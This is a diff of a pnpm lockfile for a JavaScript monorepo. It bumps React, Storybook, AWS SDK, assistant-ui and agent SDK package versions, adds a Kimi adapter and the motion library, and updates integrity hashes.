+        version: 10.0.0(@dnd-kit/core@6.3.1(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react@19.2.8)
       '@dnd-kit/utilities':
         specifier: ^3.2.2
-        version: 3.2.2(react@19.2.7)
+        version: 3.2.2(react@19.2.8)
       '@lexical/link':
         specifier: 0.49.0
         version: 0.49.0(typescript@5.9.3)
       '@mdxeditor/editor':
         specifier: ^3.55.0
-        version: 3.55.0(@codemirror/language@6.12.4)(@lezer/highlight@1.2.3)(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(typescript@5.9.3)(yjs@13.6.29)
+        version: 3.55.0(@codemirror/language@6.12.4)(@lezer/highlight@1.2.3)(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(typescript@5.9.3)(yjs@13.6.29)
       '@paperclipai/adapter-claude-local':
         specifier: workspace:*
         version: link:../packages/adapters/claude-local
@@ -918,6 +958,9 @@ importers:
       '@paperclipai/adapter-grok-local':
         specifier: workspace:*
         version: link:../packages/adapters/grok-local
+      '@paperclipai/adapter-kimi-local':
+        specifier: workspace:*
+        version: link:../packages/adapters/kimi-local
       '@paperclipai/adapter-openclaw-gateway':
         specifier: workspace:*
         version: link:../packages/adapters/openclaw-gateway
@@ -938,13 +981,13 @@ importers:
         version: link:../packages/shared
       '@radix-ui/react-slot':
         specifier: ^1.3.0
-        version: 1.3.0(@types/react@19.2.17)(react@19.2.7)
+        version: 1.3.0(@types/react@19.2.18)(react@19.2.8)
       '@tailwindcss/typography':
         specifier: ^0.5.20
-        version: 0.5.20(tailwindcss@4.3.2)
+        version: 0.5.20(tailwindcss@4.3.3)
       '@tanstack/react-query':
         specifier: ^5.101.4
-        version: 5.101.4(react@19.2.7)
+        version: 5.101.4(react@19.2.8)
       '@xterm/addon-fit':
         specifier: ^0.11.0
         version: 0.11.0
@@ -959,7 +1002,7 @@ importers:
         version: 2.1.1
       cmdk:
         specifier: ^1.1.1
-        version: 1.1.1(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+        version: 1.1.1(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       i18next:
         specifier: ^26.3.6
         version: 26.3.6(typescript@5.9.3)
@@ -968,31 +1011,34 @@ importers:
         version: 0.49.0(typescript@5.9.3)
       lucide-react:
         specifier: ^0.577.0
-        version: 0.577.0(react@19.2.7)
+        version: 0.577.0(react@19.2.8)
       mermaid:
         specifier: ^11.16.1
         version: 11.16.1
+      motion:
+        specifier: ^12.42.2
+        version: 12.43.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       radix-ui:
-        specifier: ^1.6.4
-        version: 1.6.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+        specifier: ^1.6.7
+        version: 1.6.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       react:
-        specifier: ^19.2.7
-        version: 19.2.7
+        specifier: ^19.2.8
+        version: 19.2.8
       react-dom:
-        specifier: ^19.2.7
-        version: 19.2.7(react@19.2.7)
+        specifier: ^19.2.8
+        version: 19.2.8(react@19.2.8)
       react-i18next:
-        specifier: ^17.0.10
-        version: 17.0.10(i18next@26.3.6(typescript@5.9.3))(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(typescript@5.9.3)
+        specifier: ^17.0.11
+        version: 17.0.11(i18next@26.3.6(typescript@5.9.3))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(typescript@5.9.3)
       react-markdown:
         specifier: ^10.1.0
-        version: 10.1.0(@types/react@19.2.17)(react@19.2.7)
+        version: 10.1.0(@types/react@19.2.18)(react@19.2.8)
       react-resizable-panels:
         specifier: ^4.12.2
-        version: 4.12.2(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+        version: 4.12.2(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       react-router-dom:
-        specifier: ^7.18.1
-        version: 7.18.1(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+        specifier: ^7.18.2
+        version: 7.18.2(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       remark-gfm:
         specifier: ^4.0.1
         version: 4.0.1
@@ -1001,60 +1047,57 @@ importers:
         version: 3.6.0
     devDependencies:
       '@storybook/addon-a11y':
-        specifier: 10.5.4
-        version: 10.5.4(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))
+        specifier: 10.5.8
+        version: 10.5.8(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))
       '@storybook/addon-docs':
-        specifier: 10.5.0
-        version: 10.5.0(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(esbuild@0.28.1)(rollup@4.62.4)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        specifier: 10.5.8
+        version: 10.5.8(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(esbuild@0.28.2)(rollup@4.62.5)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
       '@storybook/react-vite':
-        specifier: 10.5.0
-        version: 10.5.0(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(esbuild@0.28.1)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(rollup@4.62.4)(storybook@10.5.5(@types/react@19.2.17)(react@19.2.7))(typescript@5.9.3)(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        specifier: 10.5.8
+        version: 10.5.8(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(esbuild@0.28.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(rollup@4.62.5)(storybook@10.5.5(@types/react@19.2.18)(react@19.2.8))(typescript@5.9.3)(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
       '@tailwindcss/vite':
         specifier: ^4.3.3
-        version: 4.3.3(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.3.3(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       '@types/react':
-        specifier: ^19.2.17
-        version: 19.2.17
+        specifier: ^19.2.18
+        version: 19.2.18
       '@types/react-dom':
-        specifier: ^19.2.3
-        version: 19.2.3(@types/react@19.2.17)
+        specifier: ^19.2.4
+        version: 19.2.4(@types/react@19.2.18)
       '@vitejs/plugin-react':
-        specifier: ^4.3.4
-        version: 4.7.0(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        specifier: ^5.2.0
+        version: 5.2.0(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
       storybook:
         specifier: 10.5.5
-        version: 10.5.5(@types/react@19.2.17)(react@19.2.7)
+        version: 10.5.5(@types/react@19.2.18)(react@19.2.8)
       tailwindcss:
-        specifier: ^4.3.2
-        version: 4.3.2
+        specifier: ^4.3.3
+        version: 4.3.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
       vite:
         specifier: ^6.4.3
-        version: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+        version: 6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
 packages:
 
-  '@acemir/cssom@0.9.31':
-    resolution: {integrity: sha512-ZnR3GSaH+/vJ0YlHau21FjfLYjMpYVIzTD8M8vIEQvIGxeOXyXdzCI140rrCY862p/C/BbzWsjc1dgnM9mkoTA==}
-
   '@adobe/css-tools@4.5.0':
     resolution: {integrity: sha512-6OzddxPio9UiWTCemp4N8cYLV2ZN1ncRnV1cVGtve7dhPOtRkleRyx32GQCYSwDYgaHU3USMm84tNsvKzRCa1Q==}
 
-  '@agentclientprotocol/claude-agent-acp@0.66.0':
-    resolution: {integrity: sha512-BwalxKsxZzHZGEs+X9hV3biErLE7PHWoao2hmyP3QBWXxvMHbc1F1tzDE95ZA47Fle+KBYf2gKpgy1MJ+ZmVlw==}
+  '@agentclientprotocol/claude-agent-acp@0.69.0':
+    resolution: {integrity: sha512-YH4k22QvewY4dlxR7IOEhPk4IyTSvvUMUYfTF1cfD/JasPWonjylCJjeUCp3bOyQhlh3LvxsCCAPKkTa+V/a/g==}
     engines: {node: '>=22'}
     hasBin: true
 
-  '@agentclientprotocol/codex-acp@1.1.7':
-    resolution: {integrity: sha512-bhFLbGtOMEw6+PAp33vNERb6dXlULOfV3mWbRdps4v7sY7PHha/C2T1dnlG0yVcvBu9W+NYPzL0CAupnVoFTiQ==}
+  '@agentclientprotocol/codex-acp@1.2.0':
+    resolution: {integrity: sha512-nj23pM4OfaCOB5Du5rsSq0kcyki5H8D5ql96+AwIv7lnu0YEKj9R2YDsxbOKzwLlt+5QD6s0mn4Grkm7SSAUUA==}
     hasBin: true
 
   '@agentclientprotocol/sdk@1.2.1':
@@ -1070,48 +1113,48 @@ packages:
   '@antfu/install-pkg@1.1.0':
     resolution: {integrity: sha512-MGQsmw10ZyI+EJo45CdSER4zEb+p31LpDAFp2Z3gkSd1yqVZGi0Ebx++YTEMonJy4oChEMLsxZ64j8FH6sSqtQ==}
 
-  '@anthropic-ai/claude-agent-sdk-darwin-arm64@0.3.220':
-    resolution: {integrity: sha512-7VxlbEosK7DODiOnsjoVd0DSJzbnaPrM2jelMHI0y8zx1UnLS3WC6EFUXbvy74F2sXqEznh2tzn7EKWInaRN6Q==}
+  '@anthropic-ai/claude-agent-sdk-darwin-arm64@0.3.232':
+    resolution: {integrity: sha512-+/4PX+dwmQAjlOlooocwa3kClulZfMo133xQH3LYDlK7D5bzze16lwlDGPVAYGEarpvXg7G5JK8QjfWAJ2HYbg==}
     cpu: [arm64]
     os: [darwin]
 
-  '@anthropic-ai/claude-agent-sdk-darwin-x64@0.3.220':
-    resolution: {integrity: sha512-X9RwDsSmbF6ultKZroaip+DL8WRgC64gHbrAwrRlAFSPNZV7zmJyP2ur8rW7KrxqmtuehdMMkw8+SAC/6hD2PA==}
+  '@anthropic-ai/claude-agent-sdk-darwin-x64@0.3.232':
+    resolution: {integrity: sha512-EHZ1Y3aGyZ2mFZ6QLR1bM3/HiIn2cLrPjU+k3/oCIW6omJFodfzf410aWjDPSnMj7CE4d6t7MSjBWekMUbcv0g==}
     cpu: [x64]
     os: [darwin]
 
-  '@anthropic-ai/claude-agent-sdk-linux-arm64-musl@0.3.220':
-    resolution: {integrity: sha512-OHoZOZ8Cf2TBr6oXIXPwyvUxj9jrq2w8E4poA8dMpacXszcPSPiCQCMuuOh4aWJzfeJE1+TtWxhKMVb2csXyZQ==}
+  '@anthropic-ai/claude-agent-sdk-linux-arm64-musl@0.3.232':
+    resolution: {integrity: sha512-XkLcb9UT/l42Rtw7KBApzgxUe/kwoWJ9KCPcVEnYojzIvVR+AwBCl/QReNU5+6c72w48dYBMmLebI64gQbN0tg==}
     cpu: [arm64]
     os: [linux]
 
-  '@anthropic-ai/claude-agent-sdk-linux-arm64@0.3.220':
-    resolution: {integrity: sha512-WkROPwWskqhKR9XgnmseHQ6rLi9zM9qt57IWoToIjL/eXOqDWipp7JXZ1L5ud+LrA42dunHPZfBwD/vXZ+A7LA==}
+  '@anthropic-ai/claude-agent-sdk-linux-arm64@0.3.232':
+    resolution: {integrity: sha512-wW2opwA5s7gLghjU6B2ADMAtoc7bAZMevUzi4g+1PXMJ8MGcPvbnx92EDYJrVDcZmAl1+fz19XyPsaShlisTzw==}
     cpu: [arm64]
     os: [linux]
 
-  '@anthropic-ai/claude-agent-sdk-linux-x64-musl@0.3.220':
-    resolution: {integrity: sha512-K+FWj+LcGhC1Z7wqeWoLxm1iemcba5xKpLLFVwYm4V6HyMx3ruYd/2r2TiQtjT+JWeNFWIys0ScHiItR6vWAiA==}
+  '@anthropic-ai/claude-agent-sdk-linux-x64-musl@0.3.232':
+    resolution: {integrity: sha512-L1x2ge9NpXMLTczmT44TKPQ88PHE+gsCakQMVEOa8rXFvfBoqvcpxM0DT8wrqYWUHhQEYR8NXxQTP9a1NVRj8Q==}
     cpu: [x64]
     os: [linux]
 
-  '@anthropic-ai/claude-agent-sdk-linux-x64@0.3.220':
-    resolution: {integrity: sha512-tkTJFnpR9VifvWX2fmkCAPkT6+8Wk/gVu8B5jsVekKZPiZoWRHmMXO30BnZn+f0TZhgYP+82PSX3S8crH1kn+w==}
+  '@anthropic-ai/claude-agent-sdk-linux-x64@0.3.232':
+    resolution: {integrity: sha512-6Px1xDiwQyLkSxwRQ34/kPA8WMXQ2rHYGkwockND7+9yMw+ShI3AfLkyi9G7JtJHObWFT6B82eSHjDS/Fy+9hQ==}
     cpu: [x64]
     os: [linux]
 
-  '@anthropic-ai/claude-agent-sdk-win32-arm64@0.3.220':
-    resolution: {integrity: sha512-rIwgq0UwQExWl6KrHUyC4w5KwpL9l6nd95aUTx6RitexaAuEw//xtfTVLnuE4hDDQZFkzEwpdKc3nxDWoGcUbA==}
+  '@anthropic-ai/claude-agent-sdk-win32-arm64@0.3.232':
+    resolution: {integrity: sha512-fDiuwL5dm1elOy7fNp4Qmdor8so4R8npj2pUGQA1G/xKfJhaK236aTWezvZid3L/O7cRdFeN9IVofOAlWLQcsw==}
     cpu: [arm64]
     os: [win32]
 
-  '@anthropic-ai/claude-agent-sdk-win32-x64@0.3.220':
-    resolution: {integrity: sha512-MuOuXhbr66HlGaWXD2f3w0k2PsvmnbkwcUZ0dAe2poFLdl72GC2dapwwOBefxm9QmoNqk9+jmv/dSKGOVWyvLw==}
+  '@anthropic-ai/claude-agent-sdk-win32-x64@0.3.232':
+    resolution: {integrity: sha512-Hc/9uy1BI9mqKVyB1b/zoUnm3MFgtVNzQY6p5zgaq9DaIjCKDpR4a4L1aDZM4lMqUcWFMZM+u7juOhh+m39NBQ==}
     cpu: [x64]
     os: [win32]
 
-  '@anthropic-ai/claude-agent-sdk@0.3.220':
-    resolution: {integrity: sha512-glc7SdwPkOkLw8oxwLo9PKTdLJGqW/PIR4urWXFoRtX9YllwozsEVc5Tc1+EvLSkfrsxPJqQWqOgpjUOQXf1oA==}
+  '@anthropic-ai/claude-agent-sdk@0.3.232':
+    resolution: {integrity: sha512-8od7hJk9fZnF1/oYYiR9PvroGbZRQrpmNgKirjHNGoj5ur5YcAZLohI70XVUAUe3KvjB1msLxtkvmlAT9sqFAg==}
     engines: {node: '>=18.0.0'}
     peerDependencies:
       '@anthropic-ai/sdk': '>=0.93.0'
@@ -1127,24 +1170,22 @@ packages:
       zod:
         optional: true
 
-  '@asamuzakjp/css-color@5.0.1':
-    resolution: {integrity: sha512-2SZFvqMyvboVV1d15lMf7XiI3m7SDqXUuKaTymJYLN6dSGadqp+fVojqJlVoMlbZnlTmu3S0TLwLTJpvBMO1Aw==}
-    engines: {node: ^20.19.0 || ^22.12.0 || >=24.0.0}
+  '@asamuzakjp/css-color@6.0.7':
+    resolution: {integrity: sha512-vC/bk1Lz7Tn/EfU9/apOTBk80/8dyGyWMowPoV1tJ52muDGsDqt2HPT2klrFUiY60MQmQv9q8yIht15JnBgDGw==}
+    engines: {node: ^22.13.0 || >=24.0.0}
 
-  '@asamuzakjp/dom-selector@6.8.1':
-    resolution: {integrity: sha512-MvRz1nCqW0fsy8Qz4dnLIvhOlMzqDVBabZx6lH+YywFDdjXhMY37SmpV1XFX3JzG5GWHn63j6HX6QPr3lZXHvQ==}
+  '@asamuzakjp/dom-selector@8.3.2':
+    resolution: {integrity: sha512-93Z1N+BQNXysodoicpOIyNh2drHfz/CTf9nnT0FEx72GJcIiwgydD7tGAr78j41LsYn3hlRn+LdGPuBLn1Bl8Q==}
+    engines: {node: ^22.13.0 || >=24.0.0}
 
-  '@asamuzakjp/nwsapi@2.3.9':
-    resolution: {integrity: sha512-n8GuYSrI9bF7FFZ/SjhwevlHc8xaVlb/7HmHelnc/PZXBD2ZR49NnN9sMMuDdEGPeeRQ5d0hqlSlEpgCX3Wl0Q==}
-
-  '@assistant-ui/core@0.2.10':
-    resolution: {integrity: sha512-0YyqlpZgg1Hoaq2X4jHAaMKXg+lGniLygNt1KrGFTPgbxeo8ZStRjWyyG2xIl+zlFKHiKCGHzflUHvlJi4IurA==}
+  '@assistant-ui/core@0.3.14':
+    resolution: {integrity: sha512-UtjUZLUyCjB0ymv4YXtmNtUIyzznUnpNVFntY9wSvvHG7k25HzffCrpi4jiuW0814Zhf/ejouXZja+RuMWLseA==}
     peerDependencies:
-      '@assistant-ui/store': ^0.2.13
-      '@assistant-ui/tap': ^0.5.14
+      '@assistant-ui/store': ^0.3.0
+      '@assistant-ui/tap': ^0.9.0
       '@types/react': '*'
       assistant-cloud: ^0.1.31
-      react: ^19.2.7
+      react: ^19.2.8
       zustand: ^5.0.11
     peerDependenciesMeta:
       '@types/react':
@@ -1156,182 +1197,150 @@ packages:
       zustand:
         optional: true
 
-  '@assistant-ui/react@0.14.14':
-    resolution: {integrity: sha512-qS7YJewwFbmhs+yte56ZnO9jIOK+8hKo7mOK3cKDcCndn+jGSWTJmoNVIYQgMpB2JYIJ/SKZD+LeWSR6K3LL5g==}
+  '@assistant-ui/react@0.15.14':
+    resolution: {integrity: sha512-lBkW+RJTrZhC0TlgLTbM4KxMRIKoj17ALCfckfSXN6Uw/3arSZS36+Qz9NOHxD1cMHlpVxOttOVgFsI68pblzw==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@assistant-ui/store@0.2.13':
-    resolution: {integrity: sha512-7NL6HWMBxe1ndLWO4kHkjQ0Syyc0D/Aj+zxdpcy4yrplG71X04CzFimMBBSQAk+AnGBf+d96D7cuUZdjHkTavg==}
+  '@assistant-ui/store@0.3.10':
+    resolution: {integrity: sha512-QSFgodFt/daEjyaY09WdahNewsGPtAeY+DkSb2LM2rPN6634h13R1vJQvCtyWK5YsI5WXgzgbsctzgpIQLU0qw==}
     peerDependencies:
-      '@assistant-ui/tap': ^0.5.14
+      '@assistant-ui/tap': ^0.9.12
       '@types/react': '*'
-      react: ^19.2.7
-    peerDependenciesMeta:
-      '@types/react':
-        optional: true
-
-  '@assistant-ui/tap@0.5.14':
-    resolution: {integrity: sha512-SAy0ip8nKo72U8K9MuU7gYUR4tzoIi6k+HAQgev3zA/sWN7hr/QDDUTblrn5QB9Y/yycRiq8s98WD1vnDy8WMQ==}
-    peerDependencies:
-      '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       react:
         optional: true
 
-  '@aws-sdk/checksums@3.1000.27':
-    resolution: {integrity: sha512-insWOqKKNUrbN/dohEG7BJ0U5GkyqhjbMb/NHNaLUtq+7my2M8C4EnZZZoxMmXRqCC+P9dEr+KyJA2JGGzoKLg==}
+  '@assistant-ui/tap@0.9.13':
+    resolution: {integrity: sha512-vNB/9ftdwYZi1wIqaEs8A1qDfbt5ZKBk5+de3wZAoXyuGc8ahKwznWhGjx1XsHuXPM+7e/Gi9iG/ezqrz0xiog==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+      react:
+        optional: true
+
+  '@aws-sdk/checksums@3.1000.28':
+    resolution: {integrity: sha512-VCpnmyHQ1IH49ni3LXnQj7DPr7rmcJmzYeiCkYdCcfgNtkvOj38cdcL9lapBWoItZWFACJPFJlymqC7/gem3Gw==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/client-s3@3.1106.0':
-    resolution: {integrity: sha512-hUTlnyRRGlVdfvJLL3hCEnMm7CmunSzc/lxFVRX8g1fjJTMUVbyQCfhfMhp7dZ7JBftLU6OYresu3Hje4nvkJw==}
+  '@aws-sdk/client-s3@3.1111.0':
+    resolution: {integrity: sha512-VnLT6aSTN8tWl/NsXUysXNZor7wQBp9CRwufo7kt8cwGXvHLZ0S/cV1K9WFcREGboVYSo3NGQ3ZvU7LRidh2aQ==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/core@3.977.7':
-    resolution: {integrity: sha512-I88Iov89NVmjSmJLKSv7Cn9M2J+a2942OkA8nZCbz+sl4ZeY4zEOcoLOrbt1GRfQ8zEQKnjAJdXixA3J/p1fDQ==}
+  '@aws-sdk/core@3.977.8':
+    resolution: {integrity: sha512-7+Kcrkvrk9lM/m7jRhHpT4jCdvzGHsuaSRbF8TdzzkY1mRzp/Ogwf9c7H29k4gGhey0BBWhCWr16+t0J61gwmg==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/credential-provider-env@3.972.68':
-    resolution: {integrity: sha512-2a20A/IdNOwUvaDq91iqqS7BA0XlNMfW3iLGZGZLJv0EbUqhSxB0PIx4rQQqssvWj1uXImb3/UCCdHz/+1dOiA==}
+  '@aws-sdk/credential-provider-env@3.972.69':
+    resolution: {integrity: sha512-AreCFzcB4kH2HF9031Ot0jSJr3KXvRg6e8uDeub20JEVdZU3Bv0sTq1plc7VsT3KiqutlzH7l0j50UcCWHUioA==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/credential-provider-http@3.972.70':
-    resolution: {integrity: sha512-0yRem2Fs52r/Nn6UAqIlpjexfaYj8ziEozOe9tamtAVT/5bzFLKx8O2r7MaRqgS3hGKHIa1Jij9nKHSsNnb04A==}
+  '@aws-sdk/credential-provider-http@3.972.71':
+    resolution: {integrity: sha512-A8ObcqVmDMnk4F9NozZ7JwmUu9Q4xyBJkmyq1C5U+wNM9ht9J7+EuuyabsLWXZnOoTqFaJuYBYTKf5CTipkEjA==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/credential-provider-ini@3.973.13':
-    resolution: {integrity: sha512-2M39DE02XpYYaSWYk/4AsImXYUU/1L2xmTMLUpMMWq7DfLv191/vCRy3baKtdr45AkJQyVgSjmuVOLm15SwrRQ==}
+  '@aws-sdk/credential-provider-ini@3.973.14':
+    resolution: {integrity: sha512-7c+Wti2LsERNWMfm7ySz3/6RPopFW3Nmn7s63Xpcq6R/tRuY5hpvkHA2xVgi5ukJbvok9l0IDtVEvqTtg+X7dw==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/credential-provider-login@3.972.75':
-    resolution: {integrity: sha512-jaTESuJlQsoUZ44f/i2puyPt8VlF/dMMJ9HM3cStYtk7eKX4N9UWi83OLixUkoOJH3BwWlPLCq9YIK9nfWhVBg==}
+  '@aws-sdk/credential-provider-login@3.972.76':
+    resolution: {integrity: sha512-LVixwOnEJfrrfKHeZjBA8pIMTZjNDq8ak8VpcoWUuCJDrSnBNU8POJksULMgvN089P0MXtQYH2Zs627/MK1K0g==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/credential-provider-node@3.972.79':
-    resolution: {integrity: sha512-RIw5dof1EHkWubrZzPC941CDtnFG1iAXsxbFgLkhdYZXHc4icU13c/uxSMI0J5eUx9bxa7LjfpdjfClBB1QsDA==}
+  '@aws-sdk/credential-provider-node@3.972.80':
+    resolution: {integrity: sha512-bE2qh8ww4iClO1jHsBXdOE8FUgzDbdxbyorNjSCoPSkQd51k3jODItuPZfuwcLHZqDXsH+bI4AMHhqtuyR7mSg==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/credential-provider-process@3.972.68':
-    resolution: {integrity: sha512-nLP3Pda2MQTFJ25hKBMmUuB9Uv+bTZQNlufbeCwklP549Vwnkd8bRLJoCKp5k6xjmdyptrPrOfGOhN0mKuca8A==}
+  '@aws-sdk/credential-provider-process@3.972.69':
+    resolution: {integrity: sha512-9kpTNdZTrcqXTfhxM7fgl9Z68ek3Fu5oe3Yf+A/pJGibEqpgZxz2tSY7SinmyCIU2PJ+ygY4FPoBBnLpocMtrQ==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/credential-provider-sso@3.973.12':
-    resolution: {integrity: sha512-EmgyyHn+f9WCcelp3L/vci+LGbX8GigWaVphRArjVo5Pktkr9YnLy/mQ6VDkDyBD72dtfRNTgHmD2ts4rTDXKQ==}
+  '@aws-sdk/credential-provider-sso@3.973.13':
+    resolution: {integrity: sha512-Oc81qauMPzUoTnAS2YKpNwY6sY/LUyQTEeaf6yP197WMxkEBQfcKLR1MFpD7+pNTubXnfkH6gwpji+Gc7iyD2Q==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/credential-provider-web-identity@3.972.74':
-    resolution: {integrity: sha512-0YfczxGXF3RjGj8z7QG/Ho2HnLGKDHfPSHiTs47UU1U/+mmwISDN+rvGKt2zh+3FX8NdT4xd95LGBGyhQw2dgQ==}
+  '@aws-sdk/credential-provider-web-identity@3.972.75':
+    resolution: {integrity: sha512-YPN6uoGDgjjjeVFZrcOeCJqmB6zpXoeeNgIjqe+DexJaWqdjVfCCe+VAZwli9Z2h8KhFW8oxkO39emQ1tyz/Mw==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/middleware-sdk-s3@3.972.73':
-    resolution: {integrity: sha512-oy7sRA5HvHcAvkcKX6F8RI240jcOf3c8y/Gqjs9qemIibdKQqGBIi0uwa+47ZRYqGLpdEO28TQU4G73yUzo06Q==}
+  '@aws-sdk/middleware-sdk-s3@3.972.74':
+    resolution: {integrity: sha512-2lzoV2z2QO5KJZYGOCnIZ1WVQgzMECvwuzr1xb034a++8QW4U4eGrmC2u4yg1xvNv4TLL/Uv5DLyuAiw0b9z7Q==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/nested-clients@3.997.42':
-    resolution: {integrity: sha512-XWRyon2MTHXD/zMoo0Mbge6Vwf+iE0qQaM/RyGO6NfZ9WukCFiQL27nQVZjYy2JwSIg+iXZxKOX95OBXqlSM4w==}
+  '@aws-sdk/nested-clients@3.997.43':
+    resolution: {integrity: sha512-bit+VpqWNyi3wHxFoTsTliNXimCSL2r2OeDTm7ZrG+YsTZ2D7ofDJ6r/t9PVBn80i6/v0X2h9Tgw6QP2MAKfPw==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/signature-v4-multi-region@3.996.44':
-    resolution: {integrity: sha512-ZSfQ35Qn4MhSY+A0Whyr+KBx+wJKZUyBsOrjB2pSHOafRzbFe47T8XcXM8hZqUAC69qnqIy0C9ArxTuud0CC2w==}
+  '@aws-sdk/signature-v4-multi-region@3.996.45':
+    resolution: {integrity: sha512-bBuyztukzXq6plzFGHAWiQt0QXo+HL8b8lX5cFTzkez/74PtS1c0qPFCIVuHkyoT+miH2qOjAcm1/yoro2ESPA==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/token-providers@3.1108.0':
-    resolution: {integrity: sha512-rI80zxDxGJ6904eC/YbjkdjY6JdaZvQ01kOmrMvw7cFQGIHo27fhnIVbMSVDS4T6foQImjxYSRoOu/uSJscXDw==}
+  '@aws-sdk/token-providers@3.1111.0':
+    resolution: {integrity: sha512-JfljgoVtl+s3Qy21n9a7Z48uCQaOXcN74KJ3TEQfPoB293GrXFSt6HSQJF1sTZ8c/5QedEvd3NjJQMO4u9qa5A==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/types@3.974.3':
-    resolution: {integrity: sha512-ECAqfpNsef+7MO8qtR0h9KcFIBAygaE7Cm6UOiQl+ft+uVap+1G7bNEjs4mdJE2OnA4m6k7i8peH8uGIAsOMGw==}
+  '@aws-sdk/types@3.974.4':
+    resolution: {integrity: sha512-dSFDNG00MEz0/xl5gxL62giLd1iYyJsTxZ1I1DOj6lC+bbgLB4TRsYClJg3b62dhXT1uATzsTNXPnC+33EJV3A==}
     engines: {node: '>=20.0.0'}
 
-  '@aws-sdk/xml-builder@3.972.38':
-    resolution: {integrity: sha512-grf7mzfVxBS5AlsuTvBN7uDpzqohFww9fRPCO+EBSUdvtsYMcPSKdz54h/7XiscqNcUM1Ae1MF7JLHmiYYuzbQ==}
+  '@aws-sdk/xml-builder@3.972.39':
+    resolution: {integrity: sha512-FTti8DS5MMWXNUWiRwXAJeYS+0GHHiMy0+7XOhcwk63ILHmfS2UFy2z/HNpZCSOJJ3P3dnWY6hfYNW3DF0nXUA==}
     engines: {node: '>=20.0.0'}
 
   '@aws/lambda-invoke-store@0.3.0':
